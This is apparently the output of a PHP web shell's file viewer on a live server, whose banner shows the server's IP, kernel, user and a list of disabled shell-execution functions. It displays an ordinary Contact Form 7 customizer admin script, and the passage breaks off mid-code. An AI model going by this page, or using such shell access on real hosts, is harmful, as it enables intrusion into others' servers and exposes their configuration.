Uname: Linux baohanhelectrolux 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
Software: nginx/1.24.0
PHP version: 8.4.24 [ PHP INFO ] PHP os: Linux
Server Ip: 103.90.227.231
Your Ip: 216.73.217.141
User: www (1000) | Group: www (1000)
Safe Mode: OFF
Disable Function:
passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv

name : cf7-customizer-admin.js
(function( $ ) {
	'use strict';
	var editor;

	window.refreshTimer = false;

	$(document.body).on('click', '#cf7cstmzr_to_fw', function() {
		$(this).hide();
		var currentUrl = $('#cf7cstmzr-current-url').val();
		window.history.replaceState(null, null, currentUrl + '&fw=1');
		$('#cf7cstmzr-main-container').addClass('fw');
		$('#cf7cstmzr_exit_fw').show();
		$('body').addClass('my-body-noscroll-class');
		recalculateContainersSizes();
	});

	$(document.body).on('click', '#cf7cstmzr_exit_fw', function() {
		var currentUrl = $('#cf7cstmzr-current-url').val();
		window.history.replaceState(null, null, currentUrl);
		$(this).hide();
		$('#cf7cstmzr-main-container').removeClass('fw');
		$('#cf7cstmzr_to_fw').show();
		$('body').removeClass('my-body-noscroll-class');
		recalculateContainersSizes();
	});

	$(document.body).on('click', '.cf7cstmzr-preview-control-icons .dashicons', function() {
		var control = $(this);
		var container = $('#form-preview-container_inner');

		var styles = {
			width : '100%',
			height: '100%'
		};

		if (control.hasClass('dashicons-tablet')) {
			styles = {
				width : 768,
				height: 1024,
				"max-height" : '100%'
			};
		} else if (control.hasClass('dashicons-smartphone')) {
			styles = {
				width : 375,
				height: 667,
				"max-height" : '100%'
			};
		}

		container.css(styles);
	});

	$(document.body).on('click', '.cf7cstmzr-settings-item-header', function() {
		var header = $(this);
		var item = header.parents('.cf7cstmzr-settings-item');
		var body = item.find('.cf7cstmzr-settings-item-body');

		var items = $('.cf7cstmzr-settings-item');

		if (item.hasClass('active')) {
			item.removeClass('active');

			if (items.length > 0) {
				items.each(function () {
					$(this).removeClass('disabled');
				});
			}

			header.addClass('last-active');
		} else {
			if (items.length > 0) {
				items.each(function () {
					$(this).removeClass('active').addClass('disabled');
					$(this).find('.cf7cstmzr-settings-item-header').removeClass('last-active');
				});
			}

			item.removeClass('disabled').addClass('active');
		}

	});

	$(document.body).on('click', '.cf7cstmzr-settings-save', function() {
		var control = $('.cf7cstmzr-settings-save');
		var formData = $("#cf7cstmzr-settings-form").serializeArray();
		var titleInput = $('#cf7cstmzr-current-title');
		var slugInput = $('#cf7cstmzr-current-slug');
		var enableButton = $('#cf7cstmzr-enable-globally');
		var enableForm = $('#cf7cstmzr-enable-for-form');

		var data = {
			action: 'cf7cstmzr_save_form_customizer_settings',
			formData: formData
		};

		if (titleInput.length) {
			data.styleSchemeTitle = titleInput.val();
		}

		if (slugInput.length) {
			data.styleSchemeSlug = slugInput.val();
		}

		$.ajax({
			type: 'post',
			url: ajaxurl,
			data: data,
			success: function (response) {
				var decoded;

				try {
					decoded = $.parseJSON(response);
				} catch(err) {
					console.log(err);
					decoded = false;
				}

				if (decoded) {
					if (decoded.success) {
						control.attr('disabled', true).removeClass('button-success');
						enableButton.attr('disabled', false).addClass('button-success');
						enableForm.attr('disabled', false).addClass('button-success');
						// alert(decoded.message);
						alert_sticky(decoded.message, 'cf7cstmzr-success');
						refreshPreview();

						if (decoded.url) {
							setTimeout(function() {
								window.location.replace(decoded.url);
							}, 2000);
						}
					} else {
						// var fragments = response.message.fragments;
						// updateFragments(fragments);

						alert_sticky(decoded.message, 'cf7cstmzr-error');
						// alert(decoded.message);
					}
				} else {

					alert_sticky('Something went wrong', 'cf7cstmzr-error');
					// alert('Something went wrong');
				}
			}
		});
	});

	function alert_sticky(message, type) {
		var messageContainer = $('#cf7cstmzr-sticky-message');
		messageContainer.text(message).removeClass('cf7cstmzr-success').removeClass('cf7cstmzr-success').addClass(type).addClass('active');

		setTimeout(function () {
			messageContainer.removeClass('active');
		}, 3000);
	}

	$(document.body).on('click', '.cf7cstmzr-settings-reset', function() {
		resetStyleSettings();
	});

	$(document.body).on('click', '.cf7cstmzr-settings-default', function() {
		var control = $(this);
		var defaultSettings = control.data('default-settings');

		resetStyleSettings();

		console.log(defaultSettings);

		// Form Default Styling
		$('#cf7cstmzr_form_padding').next('.dashicons').click();
		$('#cf7cstmzr_form_padding-top').val(defaultSettings.form.padding.top);
		$('#cf7cstmzr_form_padding-right').val(defaultSettings.form.padding.right);
		$('#cf7cstmzr_form_padding-bottom').val(defaultSettings.form.padding.bottom);
		$('#cf7cstmzr_form_padding-left').val(defaultSettings.form.padding.left);

		$('#cf7cstmzr_form_margin').next('.dashicons').click();
		$('#cf7cstmzr_form_margin-top').val(defaultSettings.form.margin.top);
		$('#cf7cstmzr_form_margin-right').val(defaultSettings.form.margin.right);
		$('#cf7cstmzr_form_margin-bottom').val(defaultSettings.form.margin.bottom);
		$('#cf7cstmzr_form_margin-left').val(defaultSettings.form.margin.left);

		$('#cf7cstmzr_form_border_color').iris('color', defaultSettings.form.border.color);
		$('#cf7cstmzr_form_border_radius').val(defaultSettings.form.border.radius);

		$('#cf7cstmzr_form_border_width').next('.dashicons').click();
		$('#cf7cstmzr_form_border_width-top').val(defaultSettings.form.border.width.top);
		$('#cf7cstmzr_form_border_width-right').val(defaultSettings.form.border.width.right);
		$('#cf7cstmzr_form_border_width-bottom').val(defaultSettings.form.border.width.bottom);
		$('#cf7cstmzr_form_border_width-left').val(defaultSettings.form.border.width.left);

		// Input
		$('#cf7cstmzr_input_bg_color').iris('color', defaultSettings.input.bg.color);

		$('#cf7cstmzr_input_border_color').iris('color', defaultSettings.input.border.color);
		$('#cf7cstmzr_input_border_radius').val(defaultSettings.input.border.radius);

		$('#cf7cstmzr_input_border_width').next('.dashicons').click();
		$('#cf7cstmzr_input_border_width-top').val(defaultSettings.input.border.width.top);
		$('#cf7cstmzr_input_border_width-right').val(defaultSettings.input.border.width.right);
		$('#cf7cstmzr_input_border_width-bottom').val(defaultSettings.input.border.width.bottom);
		$('#cf7cstmzr_input_border_width-left').val(defaultSettings.input.border.width.left);

		$('#cf7cstmzr_input_padding').next('.dashicons').click();
		$('#cf7cstmzr_input_padding-top').val(defaultSettings.input.padding.top);
		$('#cf7cstmzr_input_padding-right').val(defaultSettings.input.padding.right);
		$('#cf7cstmzr_input_padding-bottom').val(defaultSettings.input.padding.bottom);
		$('#cf7cstmzr_input_padding-left').val(defaultSettings.input.padding.left);

		$('#cf7cstmzr_input_text_line-height').val(defaultSettings.input.text["line-height"]);

		if ('yes' === defaultSettings.input["full-width"]) {
			$('#cf7cstmzr_input_width_yes').prop('checked', true);
		} else {
			$('#cf7cstmzr_input_width_no').prop('checked', true);
		}

		// Button Default Styling
		$('#cf7cstmzr_button_bg_color').iris('color', defaultSettings.button.bg.color);
		$('#cf7cstmzr_button_bg_color-hover').iris('color', defaultSettings.button.bg["color-hover"]);

		$('#cf7cstmzr_button_border_color').iris('color', defaultSettings.button.border.color);
		$('#cf7cstmzr_button_border_color-hover').iris('color', defaultSettings.button.border["color-hover"]);
		$('#cf7cstmzr_button_border_radius').val(defaultSettings.button.border.radius);
		$('#cf7cstmzr_button_border_width').val(defaultSettings.button.border.width);

		$('#cf7cstmzr_button_padding').val(defaultSettings.button.padding);

		$('#cf7cstmzr_button_shadow_vertical-length').val(defaultSettings.button.shadow["vertical-length"]);
		$('#cf7cstmzr_button_shadow_blur-radius').val(defaultSettings.button.shadow["blur-radius"]);
		$('#cf7cstmzr_button_shadow_spread-radius').val(defaultSettings.button.shadow["spread-radius"]);
		$('#cf7cstmzr_button_shadow_opacity').val(defaultSettings.button.shadow["opacity"]);
		$('#cf7cstmzr_button_shadow_position').val(defaultSettings.button.shadow["position"]);
		$('#cf7cstmzr_button_shadow_color').iris('color', defaultSettings.button.shadow.color);

		$('#cf7cstmzr_button_text_color').iris('color', defaultSettings.button.text.color);
		$('#cf7cstmzr_button_text_color-hover').iris('color', defaultSettings.button.text["color-hover"]);
		$('#cf7cstmzr_button_text_line-height').val(defaultSettings.button.text["line-height"]);

		refreshPreview();
	});

	$(document.body).on('change', '#cf7cstmzr-preview-unstyle', function() {
		refreshPreview();
	});

	$(document.body).on('change', '#cf7cstmzr-preview-mode', function() {
		var selected = $(this).val();

		if ('split-mode' === selected) {
			$('#split-mode-settings').css('display', 'inline-block');
		} else {
			$('#split-mode-settings').css('display', 'none');
		}

		refreshPreview();
	});

	$(document.body).on('change', '#cf7cstmzr-load-body-tag', function() {
		var control = $(this);
		var loadBody = false;

		if (control.is(':checked')) {
			loadBody = true;
		}

		var data = {
			action: 'cf7cstmzr_load_body_tag',
			loadBody: loadBody,
		}

		ajaxRequest(data);
	});

	$(document.body).on('click', '#cf7cstmzr-enable-globally', function() {
		var control = $(this);
		var scheme = control.data('scheme');

		$.ajax({
			type: 'post',
			url: ajaxurl,
			data: {
				action: 'cf7cstmzr_enable_globally',
				scheme: scheme
			},
			success: function (response) {
				var decoded;

				try {
					decoded = $.parseJSON(response);
				} catch(err) {
					console.log(err);
					decoded = false;
				}

				if (decoded) {
					if (decoded.success) {
						// var fragments = response.message.fragments;
						// updateFragments(fragments);

						alert_sticky(decoded.message, 'cf7cstmzr-success');
						// alert(decoded.message);
						setTimeout(function() {
							window.location.reload();
						}, 2000);
					} else {
						alert_sticky(decoded.message, 'cf7cstmzr-error');
						// alert(decoded.message);
					}
				} else {
					alert_sticky('Something went wrong', 'cf7cstmzr-error');
					//alert('Something went wrong');
				}
			}
		});
	});

	$(document.body).on('click', '#cf7cstmzr-disable-globally', function() {
		var control = $(this);

		$.ajax({
			type: 'post',
			url: ajaxurl,
			data: {
				action: 'cf7cstmzr_disable_globally'
			},
			success: function (response) {
				var decoded;

				try {
					decoded = $.parseJSON(response);
				} catch(err) {
					console.log(err);
					decoded = false;
				}

				if (decoded) {
					if (decoded.success) {
						// var fragments = response.message.fragments;
						// updateFragments(fragments);

						alert_sticky(decoded.message, 'cf7cstmzr-success');
						// alert(decoded.message);
						setTimeout(function() {
							window.location.reload();
						}, 2000);
					} else {
						alert_sticky(decoded.message, 'cf7cstmzr-error');
						//alert(decoded.message);
					}
				} else {
					alert_sticky('Something went wrong', 'cf7cstmzr-error');
					// alert('Something went wrong');
				}
			}
		});
	});

	$(document.body).on('click', '#cf7cstmzr-enable-for-form', function() {
		var control = $(this);
		var scheme = control.data('scheme');
		var form = $('#cf7cstmzr_select_form').val();
		var mode = $('#cf7cstmzr_select_form').data('mode');

		$.ajax({
			type: 'post',
			url: ajaxurl,
			data: {
				action: 'cf7cstmzr_enable_for_form',
				scheme: scheme,
				form: form,
			},
			success: function (response) {
				var decoded;

				try {
					decoded = $.parseJSON(response);
				} catch(err) {
					console.log(err);
					decoded = false;
				}

				if (decoded) {
					if (decoded.success) {
						if ('free' === mode) {
							$('#cf7cstmzr_select_form option').each(function() {
								$(this).data('scheme', '');
							});
						}
						$('#cf7cstmzr_select_form option:selected').data('scheme', scheme);

						var single_form_description = $('#cf7cstmzr-select-single-form-description');

						if (single_form_description.length) {
							// console.log($('#cf7cstmzr_select_form option:selected').text());
							// console.log($('#cf7cstmzr_selected_style_scheme').text());
							single_form_description.data('form', form);
							single_form_description.data('form-title', $.trim($('#cf7cstmzr_select_form option:selected').text()));
							single_form_description.data('scheme', scheme);
							single_form_description.data('scheme-title', $.trim($('#cf7cstmzr_selected_style_scheme').text()));
						}

						show_select_form_message_button();
						alert_sticky(decoded.message, 'cf7cstmzr-success');
						// alert(decoded.message);
					} else {
						alert_sticky(decoded.message, 'cf7cstmzr-error');
						// alert(decoded.message);
					}
				} else {
					alert_sticky('Something went wrong', 'cf7cstmzr-error');
					// alert('Something went wrong');
				}
			}
		});
	});

	$(document.body).on('click', '#cf7cstmzr-disable-for-form', function() {
		var form = $('#cf7cstmzr_select_form').val();

		$.ajax({
			type: 'post',
			url: ajaxurl,
			data: {
				action: 'cf7cstmzr_disable_for_form',
				form: form,
			},
			success: function (response) {
				var decoded;

				try {
					decoded = $.parseJSON(response);
				} catch(err) {
					console.log(err);
					decoded = false;
				}

				if (decoded) {
					if (decoded.success) {
						$('#cf7cstmzr_select_form option:selected').data('scheme', '');

						var single_form_description = $('#cf7cstmzr-select-single-form-description');

						if (single_form_description.length) {
							single_form_description.data('form', '');
							single_form_description.data('form-title', '');
							single_form_description.data('scheme', '');
							single_form_description.data('scheme-title', '');
						}

						show_select_form_message_button();

						alert_sticky(decoded.message, 'cf7cstmzr-success');
						// alert(decoded.message);
					} else {
						alert_sticky(decoded.message, 'cf7cstmzr-error');
						// alert(decoded.message);
					}
				} else {
					alert_sticky('Something went wrong', 'cf7cstmzr-error');
					// alert('Something went wrong');
				}
			}
		});
	});

	$(document.body).on('click', '#cf7cstmzr-settings-save-as', function() {
		var control = $(this);
		var container = $('#cf7cstmzr-settings-create-new');
		var saveBtn = $('#cf7cstmzr-settings-save');
		var defaultBtn = $('#cf7cstmzr-settings-default');
		var deleteBtn = $('#cf7cstmzr-settings-delete');
		var resetBtn = $('#cf7cstmzr-settings-reset');

		control.hide();
		saveBtn.hide();
		defaultBtn.hide();
		deleteBtn.hide();
		resetBtn.hide();
		container.show();

		recalculateContainersSizes();
	});

	$(document.body).on('click', '#cf7cstmzr-settings-create', function() {
		var control = $('.cf7cstmzr-settings-save');
		var formData = $("#cf7cstmzr-settings-form").serializeArray();
		var title = $('#cf7cstmzr_settings_title_new').val();
		var copySettingsControl = $('#cf7cstmzr_settings_copy_new');
		var copySettings = false;
		var isFw = $('#cf7cstmzr-main-container').hasClass('fw');

		if (copySettingsControl.is(':checked')) {
			copySettings = true;
		}

		$.ajax({
			type: 'post',
			url: ajaxurl,
			data: {
				title: title,
				action: 'cf7cstmzr_new_form_customizer_settings',
				formData: formData,
				copySettings: copySettings,
				isFw: isFw
			},
			success: function (response) {
				var decoded;

				try {
					decoded = $.parseJSON(response);
				} catch(err) {
					console.log(err);
					decoded = false;
				}

				if (decoded) {
					if (decoded.success) {
						// var fragments = response.message.fragments;
						// updateFragments(fragments);
						alert_sticky(decoded.message, 'cf7cstmzr-success');
						// alert(decoded.message);

						setTimeout(function() {
							window.location.replace(decoded.url);
						}, 2000);
					} else {
						alert_sticky(decoded.message, 'cf7cstmzr-error');
						// alert(decoded.message);
					}
				} else {
					alert_sticky('Something went wrong', 'cf7cstmzr-error');
					// alert('Something went wrong');
				}
			}
		});
	});

	$(document.body).on('click', '#cf7cstmzr-settings-delete', function() {
		var scheme = $('#cf7cstmzr_select_style_scheme').val();
		var isFw = $('#cf7cstmzr-main-container').hasClass('fw');
		var data = {
			action: 'cf7cstmzr_delete_form_customizer_settings',
			scheme: scheme,
			isFw: isFw
		};

		ajaxRequest(data);
	});

	$(document.body).on('click', '.cf7cstmzr-close-welcome', function() {
		var data = {
			action: 'cf7cstmzr_close_welcome'
		};

		ajaxRequest(data);
	});

	$(document.body).on('click', '#cf7cstmzr-settings-save-as-cancel', function() {
		var control = $(this);
		var saveAsBtn = $('#cf7cstmzr-settings-save-as');
		var container = $('#cf7cstmzr-settings-create-new');

		var title = container.find('#cf7cstmzr_settings_title_new');

		title.val('');
		container.hide();
		saveAsBtn.show();

		var saveBtn = $('#cf7cstmzr-settings-save');
		var defaultBtn = $('#cf7cstmzr-settings-default');
		var deleteBtn = $('#cf7cstmzr-settings-delete');
		var resetBtn = $('#cf7cstmzr-settings-reset');

		saveBtn.show();
		defaultBtn.show();
		deleteBtn.show();
		resetBtn.show();

		recalculateContainersSizes();
	});

	$(document.body).on('click', '.cf7cstmzr-refresh', function() {
		var formData = $("#cf7cstmzr-settings-form").serializeArray();
		var previewButton = $('.cf7cstmzr-refresh');

		previewButton.each(function() {
			$(this).attr('disabled', true);
		});


		$.ajax({
			type: 'post',
			url: ajaxurl,
			data: {
				action: 'cf7cstmzr_preview_form_customizer_settings',
				formData: formData
			},
			success: function (response) {
				var decoded;

				try {
					decoded = $.parseJSON(response);
				} catch(err) {
					console.log(err);
					decoded = false;
				}

				if (decoded) {
					if (decoded.success) {
						var frame_top = $('#formPreviewFrame').contents().scrollTop();
						var formId = $('#cf7cstmzr_select_form').val();
						var url = $('#cf7cstmzr-url').val();

						var iframe = $( '<iframe />', {
							title: 'Inline Frame Example',
							id: 'formPreviewFrame'
						} );

						iframe.attr( 'src', url + formId );
						iframe.appendTo('#form-preview-container_inner');

						iframe.on("load", function() {
							$('#form-preview-container_inner iframe.previous-iframe' ).remove();
							$('#formPreviewFrame').addClass('previous-iframe');
							$('#formPreviewFrame').contents().scrollTop(frame_top);
						});
					} else {
						previewButton.each(function() {
							$(this).attr('disabled', false);
						});

						alert_sticky(decoded.message, 'cf7cstmzr-error');
						// alert(decoded.message);
					}
				} else {
					alert_sticky('Something went wrong', 'cf7cstmzr-error');
					// alert('Something went wrong');
				}
			}
		});
	});

	$(document.body).on('change', '#cf7cstmzr_select_form', function() {
		var form = $('#cf7cstmzr_select_form').val();

		$.ajax({
			type: 'post',
			url: ajaxurl,
			data: {
				action: 'cf7cstmzr_cache_form',
				form: form
			},
			success: function (response) {
				var decoded;

				try {
					decoded = $.parseJSON(response);
				} catch(err) {
					console.log(err);
					decoded = false;
				}

				if (decoded) {
					if (decoded.success) {
						// refreshPreview();
						show_select_form_message_button();
					} else {
						alert_sticky(decoded.message, 'cf7cstmzr-error');
						// alert(decoded.message);
					}
				} else {
					alert_sticky('Something went wrong', 'cf7cstmzr-error');
					// alert('Something went wrong');
				}
			}
		});
	});

	$(document.body).on('click', '.go-to-upgrade', function(e) {
		event.preventDefault();
		var saveButton = $('.cf7cstmzr-settings-save');
		var enableButton = $('#cf7cstmzr-enable-globally');
		var enableForm = $('#cf7cstmzr-enable-for-form');
		var url = $(this).attr('href');
		var confirmMessage = $(this).data('confirm');

		if (saveButton.hasClass('button-success')) {
			if (confirm(confirmMessage)) {
				var formData = $("#cf7cstmzr-settings-form").serializeArray();

				var titleInput = $('#cf7cstmzr-current-title');
				var slugInput = $('#cf7cstmzr-current-slug');

				var data = {
					action: 'cf7cstmzr_save_form_customizer_settings',
					formData: formData
				};

				if (titleInput.length) {
					data.styleSchemeTitle = titleInput.val();
				}

				if (slugInput.length) {
					data.styleSchemeSlug = slugInput.val();
				}

				$.ajax({
					type: 'post',
					url: ajaxurl,
					data: data,
					success: function (response) {
						var decoded;

						try {
							decoded = $.parseJSON(response);
						} catch(err) {
							console.log(err);
							decoded = false;
						}

						if (decoded) {
							if (decoded.success) {
								saveButton.attr('disabled', true).removeClass('button-success');
								enableButton.attr('disabled', false).addClass('button-success');
								enableForm.attr('disabled', false).addClass('button-success');
								window.open(url, '_blank');
							} else {
								// var fragments = response.message.fragments;
								// updateFragments(fragments);

								alert_sticky(decoded.message, 'cf7cstmzr-error');
								// alert(decoded.message);
							}
						} else {

							alert_sticky('Something went wrong', 'cf7cstmzr-error');
							// alert('Something went wrong');
						}
					}
				});
			} else {
				window.open(url, '_blank');
			}
		} else {
			window.open(url, '_blank');
		}
	});

	function show_select_form_message_button() {
		var enabled_message = $('#cf7cstmzr-enabled-message');
		var enabled_another_message = $('#cf7cstmzr-enabled-another-message');
		var disabled_message = $('#cf7cstmzr-disabled-message');
		var disabled_globally_message = $('#cf7cstmzr-disabled-globally-message');
		var enabled_button = $('#cf7cstmzr-enable-for-form');
		var disabled_button = $('#cf7cstmzr-disable-for-form');

		var selectedForm = $('#cf7cstmzr_select_form').val();
		var selectedFormScheme = $('#cf7cstmzr_select_form option:selected').data('scheme');
		var selectedFormSchemeTitle = $('#cf7cstmzr_select_form option:selected').data('scheme-title');
		var globalFormScheme = $('#cf7cstmzr_select_form option:selected').data('scheme-global');
		var globalFormSchemeTitle = $('#cf7cstmzr_select_form option:selected').data('scheme-global-title');
		var selectedScheme = $('#cf7cstmzr_select_style_scheme').val();

		if (!selectedScheme) {
			selectedScheme = $('#cf7cstmzr_selected_style_scheme').data('slug');
		}

		if ('' === selectedFormScheme) {
		    if (globalFormScheme === selectedFormScheme) {
                enabled_message.css('display', 'none');
                enabled_another_message.css('display', 'none');
                disabled_message.css('display', 'none');
                disabled_globally_message.css('display', 'inline-block');
                enabled_button.css('display', 'inline-block');
                disabled_button.css('display', 'none');
            } else {
                enabled_message.css('display', 'none');
                enabled_another_message.css('display', 'none');
                disabled_message.css('display', 'inline-block');
                disabled_globally_message.css('display', 'none');
                enabled_button.css('display', 'inline-block');
                disabled_button.css('display', 'none');
            }
        } else {
            if (selectedScheme === selectedFormScheme) {
                enabled_message.css('display', 'inline-block');
                enabled_another_message.css('display', 'none');
                disabled_message.css('display', 'none');
                disabled_globally_message.css('display', 'none');
                enabled_button.css('display', 'none');
                disabled_button.css('display', 'inline-block');
            } else {
                $('#cf7cstmzr-enabled-another-message').find('strong').text(selectedFormSchemeTitle);

                enabled_message.css('display', 'none');
                enabled_another_message.css('display', 'inline-block');
                disabled_message.css('display', 'none');
                disabled_globally_message.css('display', 'none');
                enabled_button.css('display', 'inline-block');
                disabled_button.css('display', 'none');
            }
        }

		var single_form_description = $('#cf7cstmzr-select-single-form-description');

		if (single_form_description.length) {
			var enabled_form = single_form_description.data('form');
			var enabled_form_title = single_form_description.data('form-title');
			var enabled_scheme = single_form_description.data('scheme');
			var enabled_scheme_title = single_form_description.data('scheme-title');
			var enabled_single_message = $('#cf7cstmzr-enabled-single-form');
			var disabled_single_message = $('#cf7cstmzr-disabled-single-form');

			$('#cf7cstmzr-styled_form_title').text(enabled_form_title);
			$('#cf7cstmzr-styled_form_style_title').text(enabled_scheme_title);

			if (enabled_scheme === '') {
				enabled_single_message.css('display', 'none');
				disabled_single_message.css('display', 'inline-block');
			} else if (selectedForm == enabled_form) {
				enabled_single_message.css('display', 'none');
				disabled_single_message.css('display', 'none');
			} else {
				enabled_single_message.css('display', 'inline-block');
				disabled_single_message.css('display', 'none');
			}
		}

		refreshPreview();
	}

	$(document.body).on('change', '#cf7cstmzr_select_style_scheme', function() {
		var isFw = $('#cf7cstmzr-main-container').hasClass('fw');

		var fw = '';

		if (isFw) {
			fw = '&fw=1';
		}
		var styleScheme = $(this).val();
		var saveButton = $('.cf7cstmzr-settings-save');
		var enableButton = $('#cf7cstmzr-enable-globally');
		var enableForm = $('#cf7cstmzr-enable-for-form');
		var confirmMessage = $(this).data('confirm');
		var url = $('#cf7cstmzr-admin-url').val();

		if (saveButton.hasClass('button-success')) {
			if (confirm(confirmMessage)) {
				var formData = $("#cf7cstmzr-settings-form").serializeArray();

				var titleInput = $('#cf7cstmzr-current-title');
				var slugInput = $('#cf7cstmzr-current-slug');

				var data = {
					action: 'cf7cstmzr_save_form_customizer_settings',
					formData: formData
				};

				if (titleInput.length) {
					data.styleSchemeTitle = titleInput.val();
				}

				if (slugInput.length) {
					data.styleSchemeSlug = slugInput.val();
				}

				$.ajax({
					type: 'post',
					url: ajaxurl,
					data: data,
					success: function (response) {
						var decoded;

						try {
							decoded = $.parseJSON(response);
						} catch(err) {
							console.log(err);
							decoded = false;
						}

						if (decoded) {
							if (decoded.success) {
								saveButton.attr('disabled', true).removeClass('button-success');
								enableButton.attr('disabled', false).addClass('button-success');
								enableForm.attr('disabled', false).addClass('button-success');
								window.location.replace(url + '&style_scheme=' + styleScheme + fw);
							} else {
								// var fragments = response.message.fragments;
								// updateFragments(fragments);

								alert_sticky(decoded.message, 'cf7cstmzr-error');
								// alert(decoded.message);
							}
						} else {

							alert_sticky('Something went wrong', 'cf7cstmzr-error');
							// alert('Something went wrong');
						}
					}
				});
			} else {
				window.location.replace(url + '&style_scheme=' + styleScheme + fw);
			}
		} else {
			window.location.replace(url + '&style_scheme=' + styleScheme + fw);
		}
	});

	$(document.body).on('click', '#cf7cstmzr_upload_image_btn', function() {
		var button = $(this),
			custom_uploader = wp.media({
				title: 'Insert image',
				library : {
					// uncomment the next line if you want to attach image to the current post
					// uploadedTo : wp.media.view.settings.post.id,
					type : 'image'
				},
				button: {
					text: 'Use this image' // button label text
				},
				multiple: false // for multiple image selection set to true
			}).on('select', function() { // it also has "open" and "close" events
				var attachment = custom_uploader.state().get('selection').first().toJSON();
				var imgHolder = $('#cf7cstmzr_uploaded_image_holder');
				var noSave = imgHolder.data('save');
				imgHolder.html('<img class="true_pre_image" src="' + attachment.url + '" />').next().val(attachment.id);
				$('#cf7cstmzr_upload_image_btn').hide();
				$('#cf7cstmzr_delete_image_btn').show();
				// $('#cf7cstmzr_form_bg_img-opacity-holder').show();
				// $('#cf7cstmzr_form_bg_img-size-holder').show();
				// $('#cf7cstmzr_form_bg_img-position-holder').show();
				$('#cf7cstmzr_form_bg_img-opacity').attr('disabled', false).val('0.5');
				$('#cf7cstmzr_form_bg_img-size').attr('disabled', false).val('no-repeat');
				$('#cf7cstmzr_form_bg_img-position_center').attr('checked', true);
                var positionChecboxes = $('.cf7cstmzr_position');

                if (positionChecboxes.length) {
                    positionChecboxes.each(function() {
                        $(this).attr('disabled', false);
                    });
                }

				var isSave = true;

				if ('not-save' === $.trim(noSave)) {
					isSave = false;
				}

				$( document.body ).trigger('cf7cstmzr_settings_changed', isSave);

				recalculateContainersSizes();
			})
				.open();
	});

	$(document.body).on('click', '#cf7cstmzr_delete_image_btn', function() {
		var imgHolder = $('#cf7cstmzr_uploaded_image_holder');
		var noSave = imgHolder.data('save');
		imgHolder.empty().next().val('');
		$('#cf7cstmzr_upload_image_btn').show();
		$('#cf7cstmzr_delete_image_btn').hide();
		// $('#cf7cstmzr_form_bg_img-opacity-holder').hide();
		// $('#cf7cstmzr_form_bg_img-size-holder').hide();
		// $('#cf7cstmzr_form_bg_img-position-holder').hide();
		$('#cf7cstmzr_form_bg_img-opacity').val('').attr('disabled', true);
		$('#cf7cstmzr_form_bg_img-size').val('').attr('disabled', true);
		var positionChecboxes = $('.cf7cstmzr_position');

		if (positionChecboxes.length) {
			positionChecboxes.each(function() {
				$(this).attr('checked', false).attr('disabled', true);
			});
		}

		var isSave = true;

		if ('not-save' === $.trim(noSave)) {
			isSave = false;
		}

		$( document.body ).trigger('cf7cstmzr_settings_changed', isSave);

        recalculateContainersSizes();
	});

	$(document.body).on('cf7cstmzr_settings_changed', function(event, isSave) {
		var saveButton = $('#cf7cstmzr-settings-save');
		var previewButton = $('.cf7cstmzr-refresh');
		var enableButton = $('#cf7cstmzr-enable-globally');
		var enableForm = $('#cf7cstmzr-enable-for-form');

		if (isSave) {
			saveButton.attr('disabled', false).addClass('button-success');
			enableButton.attr('disabled', true).removeClass('button-success');
			enableForm.attr('disabled', true).removeClass('button-success');
		}

		previewButton.each(function() {
			$(this).attr('disabled', false);
		});

		setTimerForRefreshPreview();
	});

	$(document.body).on('click', '.cf7cstmzr-description-togler', function() {
		var control = $(this);
		var target = control.data('target');
		var targetContainer = $('#' + target);

		if (targetContainer.length) {
			targetContainer.slideToggle(0, function() {
				recalculateContainersSizes();
			});
		}
	});

	$(document.body).on('change', '.cf7cstmzr-parent-input', function() {
		var input = $(this);
		var inputVal = input.val();
		var parent = input.parents('.cf7cstmzr-settings-item-body-setting');
		var children = parent.find('.cf7cstmzr-settings-item-body-setting-variations input');

		if (children.length) {
			children.each(function() {
				$(this).val(inputVal);

				$( document.body ).trigger('cf7cstmzr_settings_changed', true);
			});
		}
	});

	$(document.body).on('click', '.cf7cstmzr-settings-item-body-setting-variations-main .dashicons', function() {
		var control = $(this).parents('.cf7cstmzr-settings-item-body-setting-variations-main');
		var parent = control.parents('.cf7cstmzr-settings-item-body-setting');
		var variations = parent.find('.cf7cstmzr-settings-item-body-setting-variations');

		control.hide();
		variations.show();

		recalculateContainersSizes();
	});

	$(document.body).on('change', '#cf7cstmzr_form_padding, ' +
		'#cf7cstmzr_form_text_size, ' +
		'#cf7cstmzr_form_text_label-size, ' +
		'#cf7cstmzr_form_text_label-weight, ' +
		'#cf7cstmzr_form_text_label-style, ' +
		'#cf7cstmzr_form_text_font-family, ' +
		'#cf7cstmzr_form_bg_img-opacity, ' +
		'#cf7cstmzr_form_bg_img-size, ' +
		'.cf7cstmzr_position, ' +
		'#cf7cstmzr_form_padding-top, ' +
		'#cf7cstmzr_form_padding-right, ' +
		'#cf7cstmzr_form_padding-bottom, ' +
		'#cf7cstmzr_form_padding-left, ' +
		'#cf7cstmzr_form_margin-top, ' +
		'#cf7cstmzr_form_margin-right, ' +
		'#cf7cstmzr_form_margin-bottom, ' +
		'#cf7cstmzr_form_margin-left, ' +
		'#cf7cstmzr_form_border_width-top, ' +
		'#cf7cstmzr_form_border_width-right, ' +
		'#cf7cstmzr_form_border_width-bottom, ' +
		'#cf7cstmzr_form_border_width-left, ' +
		'#cf7cstmzr_form_border_type, ' +
		'#cf7cstmzr_form_border_radius, ' +
		'#cf7cstmzr_form_shadow_horizontal-length, ' +
		'#cf7cstmzr_form_shadow_vertical-length, ' +
		'#cf7cstmzr_form_shadow_blur-radius, ' +
		'#cf7cstmzr_form_shadow_spread-radius, ' +
		'#cf7cstmzr_form_shadow_opacity, ' +
		'#cf7cstmzr_form_shadow_position, ' +
		'#cf7cstmzr_input_width_yes, ' +
		'#cf7cstmzr_input_width_no, ' +
		'#cf7cstmzr_input_padding-top, ' +
